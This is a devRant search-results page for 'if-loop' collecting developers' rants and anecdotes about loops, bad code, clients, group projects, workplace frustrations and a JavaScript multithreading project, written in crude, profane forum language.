Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "if-loop"
-
The spam denier
_____
An old phone conversation with a client:
Me : Hello
Client : My website and server are suspended? why is that?
Me : Your server sends spam messages.
Client : We do not send spam messages, we are on vacation, there is none in the office.
Me : Yes, but it is not necessarily you, according to our logs, your server sent spam messages in Chinese and Russian, so someone from Russia or China....etc.
Client : I do not believe you, we do not speak russian or chinese, how could we then write spam messages in those languages?
Me : I told you, maybe someone exploited some vulnerability in your website or server firewall. And if you want to activate your services, please check with your webmaster and sysadmin to secure your ....
Client: I tell you my son, because I am old and I have more life experience than you ... I am 60 years old and I tell you, spam does not exist, and YOU suspended my website and server, and created issues to sell me more of your solutions and services.
I won't check my server, I won't hire a webmaster or a sysadmin, AND YOU WILL ACTIVATE MY SERVER NOW !
(I suddenly realized that I am talking to a wall, so I switched to a robotic tone).
Me : Please resolve the issue to activate your services..
Client : YOU WILL ACTIVATE MY S...
Me : Please resolve the issue to activate your services...
Client : WHAT IS THIS SPAM STORY ANYWAY, I DO NOT BELIEVE YOU ...
Me : Please google that word and you will understand what is spam is...
Client : YOU ARE F**ING LIARS, SPAM DOES NOT EXIST... ACTIVATE MY WEBSITE N.... Beeeep !
I hang up.
Well, I thought about configuring an automatic response for this client, or a for-loop.
His voice was really unpleasant, as if he is a heavy smoker.7 -
Swift, oh my god, why do you have to be like this?
I'm looking to write a simple for loop like this one in java
for(int i = 5; i > 0; i--) {
// do shit
}
Thats it, simple, go from 5 to 1 (inclusive), I saw that to iterate over a range in a for loop (increasing ordeR) I can do this
for i in 0...5 {
// do shit.
}
So I thought maybe I could do this to go in reverse (which seems logical when you think about it doesn't it?)
for i in 5..<0 {
// do shit
}
But no, this compiles FINE (THIS IS THE FUCKING KICKER IT COMPILES), alright, when you the code runs you get a fucking exception that crashes the mother fucking application, and you know what the problem is?? This dogshit, shitStain of a language doesn't like it when integer that the for loop starts with is larger than the integer that the for loop ends with MOTHERFUCKER ATLEAST TELL ME THAT AT COMPILE TIME AS A MOTHERFUCKING WARNING YOU PIECE OF SHIT!!
Alright *deep breathing*, now we can't just be stuck on this raging, we're developers need to move forward, so I google this, "Swift for loop in reverse" fair enough I get a straight forward answer that tells me to use the `stride` functionality. The relevant code for it
for i in stride(from:5 to:1 by:-1) {
// do shit
}
Wow looks fine and simple right?? (looks like god damn any other language if you ask me, no innovations here piece of shit apple!) WRONG BITCHES !!! In the latest version of Swift THE FUCKING DEVELOPERS DECIDED TO REMOVE STRIDE ALTOGETHER, WITHOUT ADDING IN A GOOD REPLACEMENT FOR THAT SHIT!
Alright NOW IM FUCKING MAD, I got rage on stackoverflow chat, a guy who's been working on ios for quite a while comes up n says and I quote
"I can sort of figure it out, but besides that, iterating in reverse is uncommon enough that it probably hasn't crossed anyone's mind."
Now hope you guys understand my frustration, and send me cookies to calm me down.
Thank you for listening to me !27 -
Started being a Teaching Assistant for Intro to Programming at the uni I study at a while ago and, although it's not entirely my piece of cake, here are some "highlights":
* students were asked to use functions, so someone was ingenious (laughed my ass off for this one):
def all_lines(input):
all_lines =input
return all_lines
* "you need to use functions" part 2
*moves the whole code from main to a function*
* for Math-related coding assignments, someone was always reading the input as a string and parsing it, instead of reading it as numbers, and was incredibly surprised that he can do the latter "I always thought you can't read numbers! Technology has gone so far!"
* for an assignment requiring a class with 3 private variables, someone actually declared each variable needed as a vector and was handling all these 3 vectors as 3D matrices
* because the lecturer specified that the length of the program does not matter, as long as it does its job and is well-written, someone wrote a 100-lines program on one single line
* someone was spamming me with emails to tell me that the grade I gave them was unfair (on the reason that it was directly crashing when run), because it was running on their machine (they included pictures), but was not running on mine, because "my Python version was expired". They sent at least 20 emails in less than 2h
* "But if it works, why do I still have to make it look better and more understandable?"
* "can't we assume the input is always going to be correct? Who'd want to type in garbage?"
* *writes 10 if-statements that could be basically replaced by one for-loop*
"okay, here, you can use a for-loop"
*writes the for loop, includes all the if-statements from before, one for each of the 10 values the for-loop variable gets*
* this picture
N.B.: depending on how many others I remember, I may include them in the comments afterwards19 -
I just learned that a web application I've been developing for the last six months will only be live for three days.
I could have, if they had kept me in the loop, knocked it out in the same week.
But no.
I built it to last.
End my suffering.11 -
Ever had a 'why in FUCKS name would you do that?!?' moment with another programmer?
In my first study year we learned about PHP and how to write a login system. Most people would either do a 'select count(something like id) from users where username = username and password = password' or select the values based on the username/email and check if the password matches.
This guy selected everything from the table and FOREACHED the records while comparing if the username/password matched with an if within that loop.
I couldn't get him to understand how fucked up that system would become once you'd have loads and loads of users 😅21 -
!rant
Programming is a huge blessing i believe we all should be thankful to. For me, it literally turned my life around.
11 months ago i was fighting a losing battle with depression, and contemplated suicide constantly. I would use a self remedy of smoking weed and sleeping all day long. I was depressed because i felt my life had no real value. I was doing nothing, and its kind of an infinite loop.
You don't do anything, so you feel bad, so you don't do anything, and so on.
That was until i finally took the step that changed my life. I searched and wanted to learn something. I always liked web pages so i thought id get into web development.
Did some research, found out that the fastest way to go was to learn ruby on rails. I followed a tutorial i found online, and literally pushed myself through it. There were times when there where things i didnt understand, and when it was really bad, but i pushed myself through it and i finished the tutorial.
Just finishing the tutorial and learning something new helped me alot. I had already quit smoking and was feeling way better, but after a while i started feeling bad again since i wasnt doing anything after i had finished learning, so i started working on a personal project, creating it from scratch, and just working on it day and night. I worked 14 hours a day, never really leaving my room ( this was during summer vacation ) for a month.
There were many things i didnt understand, but i never gave up and always searched for the solution and read about it until i understood it better. Looking back, there were things i knew could have been done in a better way, but as a first project, im proud of myself, not because it rocks, but because i did not give up.
In the process of starting a new life, i was really lonely. I cut all ties with everyone i knew, since they were all toxic, all i had in my life was ruby on rails and my web application. I wanted to launch it but couldn't due to personal reasons.
Not being able to launch and see something live, something that you worked so hard on, that you put so much effort into, that was devastating to me. I felt as if all my efforts had gone to waste.
And here is what i love most about programming, NOTHING EVER GOES TO WASTE. All that effort you spent on something ? All these all nighters you pulled ? All that frustration from that bug ? It will pay off later. It always does somehow. You get more knowledge and become a better programmer, and sometimes it even gives way to new opportunities and chances you never even expected.
I included my web application in my resume and it helped land me a job as a junior developer in a really nice company. A job that i wouldn't even have dreamed of several months earlier.
Programming and creating something new and learning something new everyday, creating something that people use, that someone else will benefit from and be grateful for, i think we should never take that for granted !
Tl;dr : learning how to code and web development saved my life9 -
Just replaced a 300 line switch case with a simple if statement inside a foreach loop.
Feels sooo good man9 -
"How do I use a for loop?"
I mean I can't fault them for being open to being taught, but if you're working as a software engineer...and can't use loops...11 -
So, rage time.
A few months ago I inherited a big Wordpress website, with around 750 pages.
The client has reported the main menu is broken.
Upon looking at the code it appears the previous "Wordpress Developer" (ahem ...) attempted to rewrite navigation system - no idea why.
As part of the 4000 class below is a screenshot of part of the file where he's determining if the current menu item is active, within a loop. Whilst the whole if statement spans 409 lines - the code basically continues exactly the same downwards.
Shameful :/22 -
!rant
Does anyone of you know LOLCODE?
If not let me present you a simple program that displays the numbers 1-11 and terminates:
HAI 1.2
CAN HAS STDIO?
I HAS A VAR
IM IN YR LOOP
UP VAR!!1
VISIBLE VAR
IZ VAR BIGGER THAN 10? KTHX
IM OUTTA YR LOOP
KTHXBYE
You gotta love the okay thanks bye as termination :D
Check it out on GitHub8 -
Ladies and gentlemen, prepare yourselves for a rant with a capital R, this is gonna be a long one.
Our story begins well over a year ago while I was still in university and things such as "professionalism" and "doing your job" are suggestions and not something you do to not get fired. We had multiple courses with large group projects that semester and the amount of reliable people I knew that weren't behind a year and in different courses was getting dangerously low. There were three of us who are friends (the other two henceforth known as Ms Reliable and the Enabler) and these projects were for five people minimum. The Enabler knew a couple of people who we could include, so we trusted her and we let them onto the multiple projects we had.
Oh boy, what a mistake that was. They were friends, a guy and a girl. The girl was a good dev, not someone I'd want to interact with out of work but she was fine, and a literal angel compared to the guy. Holy shit this guy. This guy, henceforth referred to as Mr DDTW, is a motherfucking embarrassment to devs everywhere. Lazy. Arrogant. Standards so low they're six feet under. Just to show you the sheer depth of this man's lack of fucks given, he would later reveal that he picked his thesis topic "because it's easy and I don't want to work too hard". I haven't even gotten into the meat of the rant yet and this dude is already raising my blood pressure.
I'll be focusing on one project in particular, a flying vehicle simulator, as this was the one that I was the most involved in and also the one where shit hit the fan hardest. It was a relatively simple-in-concept development project, but the workload was far too much for one person, meaning that we had to apply some rudimentary project management and coordination skills that we had learned to keep the project on track. I quickly became the de-facto PM as I had the best grasp on the project and was doing a lot of the heavy lifting.
The first incident happened while developing a navigation feature. Another teammate had done the basics, all he had to do was use the already-defined interfaces to check where the best place to land would be, taking into account if we had enough power to do so. Mr DDTW's code:
-Wasn't actually an algorithm, just 90 lines of if statements sandwiched between the other teammate's code.
-The if statements were so long that I had to horizontal scroll to see the end, approx 200 characters long per line.
-Could've probably been 20 normal-length lines MAX if he knew what a fucking for loop was.
-Checked about a third of the tiles that it should have because, once again, it's a series of concatenated if statements instead of an actual goddamn algorithm.
-IT DIDN'T FUCKING WORK!
My response was along the lines of "what the fuck is this?". This dipshit is in his final year and I've seen people write better code in their second semester. The rest of the team, his friend included, agreed that this was bad code and that it should be redone properly. The plan was for Mr DDTW to move his code into a new function and then fix it in another branch. Then we could merge it back when it was done. Well, he kept on saying it was done but:
-It still wasn't an algorithm.
-It was still 90 lines.
-They were still 200 characters wide.
-It still only checked a third of the tiles.
-IT STILL DIDN'T FUCKING WORK!
He also had one more task, an infinite loop detection system. He watched while Ms Reliable did the fucking work.
We hit our first of two deadlines successfully. We still didn't have a decent landing function but everything else was nice and polished, and we got graded incredibly well. The other projects had been going alright although the same issue of him not doing shit applied. Ms Reliable and I, seeing the shitstorm that would come if this dude didn't get his act together, lodged a complaint with the professor as a precautionary measure. Little did I know how much that advanced warning would save my ass later on.
Second sprint begins and I'm voted in as the actual PM this time. We have four main tasks, so we assign one person to each and me as a generalist who would take care of the minor tasks as well as help out whoever needed it. This ended up being a lot of reworking and re-abstracting, a lot of helping and, for reasons that nobody ever could have predicted, one of the main tasks.
These main tasks were new features that would need to be integrated, most of which had at least some mutual dependencies. Part of this project involved running our code, which would connect to the professor's test server and solve a server-side navigation problem. The more of these we solved, the better the grade, so understandably we needed an MVP to see if our shit worked on the basic problems and then fix whatever was causing the more advanced ones to fail. We decided to set an internal deadline for this MVP. Guess who didn't reach it?
Hitting the character limit, expect part 2 SOON7 -
Hey everyone! Recently there was a bug discovered which caused many (but not all) “user x posted a new rant” subscription notifs (both in-app and push) to not get sent out for the last week or so. It should be fixed now. Unfortunately though, they won’t be backfilled, so make sure you take a look at your favorite ranters’ profiles since you might not have been notified about their most recent rants.
A big thanks to @gitpush for reporting the issue and thanks to @linuxxx for help testing/confirming the fix worked.
For the basic cause: when we overhauled/fixed push notifs on Android in the last build (about a week ago), we had to convert to FCM. When a “user posted rant” notification was getting sent out, the asynchronous worker would process all of the subscription notifs in a loop. So for users who have a lot of subscribers, somewhere in the loop, something was failing, likely having to do with the new FCM send method. This is now fixed and all push notifs in that worker are also done asynchronously.
Let me know if you have any questions and apologies for the loss of subscription notifs!13 -
It's funny, whenever the subject of facebook vs privacy comes up (mostly I don't even initiate those convo's), people always start to defend facebook when I say that I THINK that facebook is build to get people addicted to it and get them to stay on facebook as long as possible.
Haha, one of facebook's early investers/ex facebook presidents said the following in an interview:
“It’s a social-validation feedback loop, exactly the kind of thing that a hacker like myself would come up with, because you’re exploiting a vulnerability in human psychology.”
So even an ex president of facebook is admitting this.
I also found the folloing a good one:
The underlying thought process while creating platforms like Facebook or Instagram is something like “How do we consume as much of your time and conscious attention as possible?”
Last but not least, the part I found the most scary:
“God only knows what it’s doing to our children’s brains.”
Yes, I find this scary.
Oh yeah and for the people who are going to call bullshit on this one, I've got one source and if you search engine on the title of that article then you'll find loads of websites having that story:
https://fossbytes.com/facebook-was-...26 -
Gooooood morning devRant! Fucking friday, fuck yeah.
Hereby a rant which @dfox asked to make to test if a possible bug is fixed.
Have a great day everybody and thanks to dfox for keeping me in the loop on this!12 -
About two years ago I get roped into a something when someone was requesting an $8000 laptop to run an "program" that they wrote in Excel to pull data from our mainframe.
In reality they are using our normal application that interacts with the mainframe and screen scrapping it to populate several Excel spreadsheets.
So this guy kept saying that he needed the expensive laptop because he needed the extra RAM and processing power for his application. At the time we only supported 32 bit Windows 7 so even though I told him ten times that the OS wouldn't recognize more than 3.5 GB of RAM he kept saying that increasing the RAM would fix his problem. I also explained that even if we installed the 64 bit OS we didn't have approval for the 64 bit applications.
So we looked at the code and we found that rather than reusing the same workbook he was opening a new instance of a workbook during each iteration of his loop and then not closing or disposing of them. So he was running out of memory due to never disposing of anything.
Even better than all of that, he wanted a faster processor to speed up the processing, but he had about 5 seconds of thread sleeps in each loop so that the place he was screen scrapping from would have time to load. So it wouldn't matter how fast the processor was, in the end there were sleeps and waits in there hard coded to slow down the app. And the guy didn't understand that a faster processor wouldn't have made a difference.
The worst thing is a "dev" that thinks they know what they are doing but they don't have a clue.7 -
Took me 2 fucking days to figure out why the loop wasn't working, biggest facepalm ever.
if(iterator.hasNext()){
// some awesome code
}8 -
I just got this message, until now I thought these pictures are fake.
Looks like I have to start this app, if i want to be ready in time 😄
Human stupidity is an infinite loop...23 -
Every fucking time its the same shit:
Our nontechnical managers meet with the client and try to pass technical requirements to us..
These pieces of shit don't get that this only makes things worse.
Making everyone waste fucking time trying to understand requirements that would be a lot fucking easier if any of us were is any fucking meeting.
But nooooo... We have to fucking be the whole team in fucking meetings with these cock suckers so they can realize they didn't get shit and the back and forth bullshit begins:
We ask questions
They don't know
They schedule meeting with client
They ask their moronic way
The client answers
They schedule meeting with us
We ask questions...
And this fucking loop goes on for-fucking-EVER!
Fuuuuuuck this!!7 -
Less a rant, more just a sad story.
Our company recently acquired its sister company, and everyone has been focused on improving and migrating their projects over to our stack.
There's a ton of material there, but this one little story summarizes the whole very accurately, I think. (Edit: two stories. I couldn't resist.)
There's a 3-reel novelty slot machine game with cards instead of the usual symbols, and winnings based on poker-like rules (straights and/or flushes, 2-3 of a kind, etc.) The machine is over a hundred times slower than the other slot machines because on every spin it runs each payline against a winnings table that exhastively lists every winning possibility, and I really do mean exhaustively. It lists every type of win, for every card, every segment for straights, in every order, of every suit. Absolutely everything.
And this logic has been totally acceptable for just. so. long. When I saw someone complaining in dev chat about how much slower it is, i made the bloody obvious suggestion of parsing the cards and applying some minimal logic to see if it's a winning combination. Nobody cared.
Ten minutes later, someone from the original project was like "Hey, I have an idea, why don't we do it algorithmically to not have a 4k line rewards table?"
He seriously tried stealing a really bloody obvious idea -- that he hadn't had for years prior -- and passing it off as his own. In the same chat. Eight messages below mine. What a derpballoon.
I called him out on it, and he was like "Oh, is that what you meant by parsing?" 🙄
Someone else leaped in to defend the ~128x slower approach, saying: "That's the tech we had." You really didn't have a for loop and a handful of if statements? Oh wait, you did, because that's how you're checking your exhaustive list. gfj. Abysmal decisions like this is exactly why most of you got fired. (Seriously: these same people were making devops decisions. They were hemorrhaging money.)
But regardless, the quality of bloody everything from that sister company is like this. One of the other fiascos involved pulling data from Facebook -- which they didn't ever even use -- and instead of failing on error/unexpected data, it just instantly repeated. So when Facebook changed permissions on friends context... you can see where this is going. Instead of their baseline of like 1400 errors per day, which is amazingly high, it spiked to EIGHTEEN BLOODY MILLION PER DAY. And they didn't even care until they noticed (like four days later) that it was killing their other online features because quite literally no other request could make it out. More reasons they got fired. I'm not even kidding: no single api request ever left the users' devices apart from the facebook checks.
So.
That's absolutely amazing.8 -
Infinite loop...
Got a story assigned with no requirements listed this sprint. Since I finished the rest already I was like, lets be pro-active and see what it's about during the stand-up.
Me: Hi, I only have story X remaining, what's it about, there are no requirements listed in Jira?
SM: Yeah person Y is going to reach out to you with the reqs.
Me: Ok, when is Y going to reach out?
SM: Y doesn't have time now, will probably be in 2 weeks.
Me: Ok, so why is the story included in this sprint then?
SM: Because they want X implemented this sprint.
(Me wondering if the Scrum Master is familiar with infinite loops, thinking let's try this out)
Me: Ok, if X should be completed, can Y reach out to me with the requirements?
SM: Y doesn't have time now, will probably be in 2 weeks.
Me: Ok, why is the story included in this sprint then?
Stand-up lasted a lil' longer today... Hope the SM got the message not to assign stories without reqs or clear communication anymore.5 -
My first poem for programmer girl 😘😘😘
My life is incomplete without you,
You are semicolon of my life
You are my increment operator,
you make my value increases
I am username and you are my password,
without you No one can access me
You are my initializer,
without you my life would point to nothing (NULL or “0”)
If I were a function you must be my parameter,
Because I will always need you
Can you be my private variable?
I want to be only one who can access you
You are my compiler,
My life wouldn’t start without you
You are my loop condition ,
I keep coming back to you
My love to you is like recursive function,
It will never ends & Will never enter into infinite loop
Forever and Ever10 -
You can believe or not but it’s just one of those stories. It’s long and crazy and it probably happened.
A few years ago I was interviewed by this big insurance company. They asked me on linkedin and were interested. They didn’t specify who they were so I didn’t specify who I am either.
After they revealed who they are I was just curious how they fuck they want to spend those billions of dollars they claimed in their press notes about this fucking digital transformation everyone is talking about. The numbers were big.
I got into 3 or 4 phone/skype interviews without technical questions and I was invited to see them by person.
I know that it would be funny because they didn’t asked me for CV so they didn’t know anything about me and I was just more curious how far I can get without revealing myself.
They canceled interview at midnight and I was in the middle of Louis de Funès comedies marathon so I didn’t sleep whole night. I assumed they would just reschedule but then they phoned me at 8 am if I can come because they made mistake.
So at first talk I was just interviewed by some manager I knowed after 5 minutes he would be shitty as fuck and demand stupid things in no time because he is not technical. He was trying to explain me that they got so great people and they do everything so fast.
From my experience speed and programming are not the things that match. ( for reference of my thought see three virtues of a GREAT programmer )
So I just pissed them off by asking what they would do with me when I finish this transformation thingy next year. ( Probably get rid off and fire at some point were my thoughts )
Then I got this technical interview on newest gold color MacBook pro - pair programming ( they were showing off how much money they have all the time ).
The person asked me to transform json and get some data in javascript .
Really that was the thing and I was so bored and tired that I just asked in what ES standard I can code.
The problem was despite he told me I can do anything and they are using newest standards ( yeah right ) the “for of” loop didn’t worked and he even didn’t know that syntax existed. So I explained him it’s the newest syntax pointing mozilla page and that he need to adjust his configuration. Because we didn’t have time for that I just did it using var an function by writing bunch of code.
When he was asking me if I want to write some tests probably because my code looked ugly as fuck ( I didn’t sleep for more then 24 hours at that point and wanted to live the building as fast as I can) I told I finished and there is no time for tests because it’s so simple and dumb task. The code worked.
After showing me how awesome their office is ( yeah please I work from home so I don’t care ) I got into the talk with VP of engineering and he was the only person who asked me where is my CV because he didn’t know what to talk about. I just laughed at him and told him that I got here just by talking how awesome I am so we can talk about whatever he wants.
After quick talk about 4 different problems where I introduced 4 different languages and bunch of libraries just because I can and I worked with those he was mine.
He told me about this awesome stack they’re building with kubernetes and micro services and the shitty future where they want to put IOT into peoples ass to sell them insurance and suddenly I got awake and started to want that job but behind that all awesomeness there was just .NET bridge with stack of mainframes running COBOL that they want to get rid off and move company to the cloud.
They needed mostly people who would dump code to different technology stack and get rid of old stack ( and probably those old people ) and I was bored again because I work more in r&d field where you sometimes need to think about something that don’t exist and be creative.
I asked him why it would take so much time so he explained me how they would do the transformation by consolidating bunch of companies and how much money they would make by probably firing people that don’t know about it to this day.
I didn’t met any person working permanently there but only consultants from corporations and people hired in some 3rd party company created by this mother company.
They didn’t responded with any decision after me wasting so much time and they asked me for interview for another position year after.
I just explained HR person how they treat people and I don’t want to work there for any money.
If You reached this point it is the end and if it was entertaining thank YOU I did my best.
Have a nice day.5 -
Confuzzled if I should go the low level way and learn more about software architecture and foundation or go the artificial intelligence machine learning way because I want to get out of this infinite loop of only developing apps!4
-
Fuck off cancerous piece of shit on stackoverflow whose dick is an obvious inverse proposition to ego and incapablility to read.
I asked if there's "clean" way, of doing something. I provided my solution to the problem
Your answer and coments make it pretty obvious that you:
* don't really care about (code) quality
* value your reputation just as much as some teen on facebook sucking cook for likes or whatever they use now
* downvoted my question because you can't handle critique in the slightest
* You immediately replied with "but op said..." even though I am the fucking op and if I say _imo_ a fucking for-loop within function is less readable than 3 chained function-calls it and does not include the feature I asked for, it means you have to justify your answer and not get triggered and downvote my fucking question.
After I confronted him about this shit he just said "If you had studied the language for more than 10 minutes you would have known than you can't do that."
And if you had some a basic reading skill you could improve my workaround or tell me just that, instead of providing me with that useless information you vomited out just to get some ez SO reputation.
Piece of shit didn't even deny the anyyhing.
Shove a vibrator up your ass until it arrives at your skull and activate it. Maybe that will stimulate your brain or hopefully upgrade it.
I don't care how much "reputition" you may have "earned" on the internet. I am not afraid to call your bullshit or your sheer pathetic existence out.
People like this are are the reason SO gets so much hsge and even tough I got an improved version for my workaround (from an other user), I'm nowhere near happiness.
Note, the Useful-to-retarded-ratio is
1: 3rant i want to punch prople over the internet stackoverflow is being a downvote bitch waste of oxygen8 -
I was taking an introductory programming course. One assignment was to do a little payroll program, including some data validation. The program was supposed to accept terminal input and send output back to either the console or a printer.
Suddenly the printer began spewing out paper like crazy. One of the students (a particularly mouthy woman) had programmed a less-than-helpful error message ("YOU ARE WRONG") and then not provided any exit from the error-checking logic -- the program just re-read the last (failing) input and re-tested it. All in all, it was a very nice infinite loop.
After spitting through about fifty pages of "YOU ARE WRONG," somebody cut power to the printer, and the instructor had to flush the print queue manually. He went back to the student and asked if she had tested the program by sending the output to the console before trying to print it, and she said, yes, she had tested it on the console and ended up with a screen full of "YOU ARE WRONG" messages. Why, then, had she sent her output to the printer? "I thought I would be daring!"7 -
Why the fuck do teachers take points off for coding style. Like really placing my open house brace on the same line as an if is what looks good TO ME. And breaking from a while loop with an inverted condition is nicer than a huge if TO ME. Fuck it I like the m_ for member variables too. And yes C++ usually names functions like someFunction, but I like how c# does SomeFunction. Like shit, it's personal I don't care that I lose 5points every test I do it just to say fuck you21
-
Man I really need to get this off my chest. So here goes.
I just finished 1 year in corporate after college. When I joined, the team I got was brilliant, more than what I thought I would get. About 6 months in, the project manager and lead dev left the company. Two replacements took their place, and life's been hell ever since.
The new PM decided it was his responsibility to be our spokesperson and started talking to our overseas manager (call her GM) on our behalf, even in the meetings where we were present, putting words in our mouth so that he's excellent and we get a bad rep.
1 month in, GM came to visit our location for a week. She was initially very friendly towards all of us. About halfway through the week, I realized that she had basically antagonized the entire old team members. Our responsibilities got redistributed and the work I was set to do was assigned to the new dev (call her NR).
Since then, I noticed GM started giving me the most difficult tasks and then criticizing my work extra hard, and the work NR was doing was praised no matter what. I didn't pay much attention to it at first, but lately the truth hit me hard. I found out a fault in NR's code and both PM and GM started saying that because I found it, it was my responsibility to fix it. I went through the buggy code for hours and fixed it. (NR didn't know how it worked, because she had it written by the lead dev and told everyone she wrote it).
I found out lately that NR and PM got the most hike, because they apparently "learnt" new tech (both of them got their work done by others and hogged the credit).They are the first in line to go onsite because they've been doing 'management work'. They'd complained to GM during her visit that we were not friendly towards them. And from that point on if anything went wrong, it would be my fault, because my component found it out (I should mention that my component mostly deals with the backend logic, so its pretty adept at finding code leaks).
What broke my patience is the fact that lately I worked my ass off to deliver some of the best code I'd written, but my GM said in front of the entire team that at this point "I'm just wasting money". She's been making a bad example out of me for some time, but this one took the cake. I had just delivered a promising result in a task in 1 week that couldn't be done by my PM in 4 weeks, and guess what? "It's not good enough". No thank you, no appreciation, nothing. Finally, I decided I'd had enough of it and started just doing tasks as I could. I'd do what they ask, but won't go above and beyond my way to make it perfect.
My PM realized this and then started pushing me harder. Two days back, I sent a mail to the team with GM in cc exposing a flaw in the code he had written, and no one bothered to reply (the issue was critical). When I asked him about it, he said "How can you expect me to reply so soon when it's already been told that when anything happens we should first resolve within the team and then add GM in the loop?" I realized it was indeed discussed, but the issue was extremely urgent, so I had asked everyone involved, and it portrayed him in a bad light. I could've fixed it, but I didn't because on the off chance if it broke something, they'd start telling me that I broke the tool, how its my fault and how its a critical issue I have to fix ASAP, etc. etc., you get the idea.
Can anyone give me some advice of how to deal with this kind of situation? I would have left but with this pandemic going on, market being scarce and the fact that I'm only experienced by 1 year, I don't think I qualify for a job switch just now.16 -
Of all people that apply for a job at our company, 95% can't write a loop that counts from 1 to 10.
And if that's not bad enough: our bosses state "we shouldn't ask such difficult tasks."18 -
TL;DR :
"when i die i want my group project members to lower me into my grave so they can let me down one last time"
STORY TIME
Last year in College, I had two simultaneous projects. Both were semester long projects. One was for a database class an another was for a software engineering class.
As you can guess, the focus of the projects was very different. Databases we made some desktop networked chat application with a user login system and what not in Java. SE we made an app store with an approval system and admin panels and ratings and reviews and all that jazz in Meteor.js.
The DB project we had 4 total people and one of them was someone we'll call Frank. Frank was also in my SE project group. Frank disappeared for several weeks. Not in class, didn't contact us, and at one point the professors didn't know much either. As soon as we noticed it would be an issue, we talked to the professors. Just keeping them in the loop will save you a lot of trouble down the road. I'm assuming there was some medical or family emergency because the professors were very understanding with him once he started coming back to class and they had a chance to talk.
Lesson 1: If you have that guy that doesn't show up or communicate, don't be a jerk to them and communicate with your professor. Also, don't stop trying to contact the rogue partner. Maybe they'll come around sometime.
It sucked to lose 25% of our team for a project, but Frank appreciated that we didn't totally ignore him and throw him under the bus to the point that the last day of class he came up to me and said, "hey, open your book bag and bring it next to mine." He then threw a LARGE bottle of booze in there as a thank you.
Lesson 2: Treat humans as humans. Things go wrong and understanding that will get you a lot farther with people than trying to make them feel terrible about something that may have been out of their control.
Our DB project went really well. We got an A, we demoed, it worked, it was cool. The biggest problem is I was the only person that had taken a networking class so I ended up doing a large portion of the work. I wish I had taken other people's skills into account when we were deciding on a project. Especially because the only requirement was that it needed to have a minimum of 5 tables and we had to use some SQL language (aka, we couldn't use no-SQL).
The SE project had Frank and a music major who wanted to minor in CS (and then 3 other regular CS students aside from me). This assignment was make an app store using any technology you want. But, you had to use agile sprints. So we had weekly meetings with the "customer" (the TA), who would change requirements on us to keep us on our toes and tell us what they wanted done as a priority for the next meeting. Seriously, just like real life. It was so much fun trying to stay ahead of that.
So we met up and tried to decided what to use. One kid said Java because we all had it for school. The big issue is trying to make a Java web app is a pain in the ass. Seriously, there are so many better things to use. Other teams decided to use Django because they all wanted to learn Python. I suggested why not use something with a nice package system to minimize duplicating work that had already been done and tested by someone. Kid 1 didn't like that because he said in the real world you have to make your own software and not use packages. Little did he know that I had worked in SE for a few years already and knew damn well that every good project has code from somewhere else that has already solved a problem you're facing. We went with Java the first week. It failed miserably. Nobody could get the server set up on their computers. Using VCS with it required you to keep the repo outside of the where you wrote code and copy and paste changes in there. It was just a huge flop so everyone else voted to change.
Lesson 3: Be flexible. Be open to learning new things. Don't be afraid to try something new. It'll make you a better developer in the long run.
So we ended up using Meteor. Why? We all figured we could pick up javascript super easy.Two of us already knew it. And the real time thing would make for some cool effects when an app got a approved or a comment was made. We got to work and the one kid was still pissed. I just checked the repo and the only thing he committed was fixing the spelling of on word in the readme.
We sat down one day and worked for 4 straight hours. We finished the whole project in that time. While other teams were figuring out how to layout their homepage, we had a working user system and admin page and everything. Our TA was trying to throw us for loops by asking for crazy things and we still came through. We had tests that ran along side the application as you used it. It was friggin cool.
Lesson 4: If possible, pick the right tool for the job. Not the tool you know. Everything in CS has a purpose. If you use it for its purpose, you will save days off of a project.1 -
Okay, story time.
Back during 2016, I decided to do a little experiment to test the viability of multithreading in a JavaScript server stack, and I'm not talking about the Node.js way of queuing I/O on background threads, or about WebWorkers that box and convert your arguments to JSON and back during a simple call across two JS contexts.
I'm talking about JavaScript code running concurrently on all cores. I'm talking about replacing the god-awful single-threaded event loop of ECMAScript – the biggest bottleneck in software history – with an honest-to-god, lock-free thread-pool scheduler that executes JS code in parallel, on all cores.
I'm talking about concurrent access to shared mutable state – a big, rightfully-hated mess when done badly – in JavaScript.
This rant is about the many mistakes I made at the time, specifically the biggest – but not the first – of which: publishing some preliminary results very early on.
Every time I showed my work to a JavaScript developer, I'd get negative feedback. Like, unjustified hatred and immediate denial, or outright rejection of the entire concept. Some were even adamantly trying to discourage me from this project.
So I posted a sarcastic question to the Software Engineering Stack Exchange, which was originally worded differently to reflect my frustration, but was later edited by mods to be more serious.
You can see the responses for yourself here: https://goo.gl/poHKpK
Most of the serious answers were along the lines of "multithreading is hard". The top voted response started with this statement: "1) Multithreading is extremely hard, and unfortunately the way you've presented this idea so far implies you're severely underestimating how hard it is."
While I'll admit that my presentation was initially lacking, I later made an entire page to explain the synchronisation mechanism in place, and you can read more about it here, if you're interested:
http://nexusjs.com/architecture/
But what really shocked me was that I had never understood the mindset that all the naysayers adopted until I read that response.
Because the bottom-line of that entire response is an argument: an argument against change.
The average JavaScript developer doesn't want a multithreaded server platform for JavaScript because it means a change of the status quo.
And this is exactly why I started this project. I wanted a highly performant JavaScript platform for servers that's more suitable for real-time applications like transcoding, video streaming, and machine learning.
Nexus does not and will not hold your hand. It will not repeat Node's mistakes and give you nice ways to shoot yourself in the foot later, like `process.on('uncaughtException', ...)` for a catch-all global error handling solution.
No, an uncaught exception will be dealt with like any other self-respecting language: by not ignoring the problem and pretending it doesn't exist. If you write bad code, your program will crash, and you can't rectify a bug in your code by ignoring its presence entirely and using duct tape to scrape something together.
Back on the topic of multithreading, though. Multithreading is known to be hard, that's true. But how do you deal with a difficult solution? You simplify it and break it down, not just disregard it completely; because multithreading has its great advantages, too.
Like, how about we talk performance?
How about distributed algorithms that don't waste 40% of their computing power on agent communication and pointless overhead (like the serialisation/deserialisation of messages across the execution boundary for every single call)?
How about vertical scaling without forking the entire address space (and thus multiplying your application's memory consumption by the number of cores you wish to use)?
How about utilising logical CPUs to the fullest extent, and allowing them to execute JavaScript? Something that isn't even possible with the current model implemented by Node?
Some will say that the performance gains aren't worth the risk. That the possibility of race conditions and deadlocks aren't worth it.
That's the point of cooperative multithreading. It is a way to smartly work around these issues.
If you use promises, they will execute in parallel, to the best of the scheduler's abilities, and if you chain them then they will run consecutively as planned according to their dependency graph.
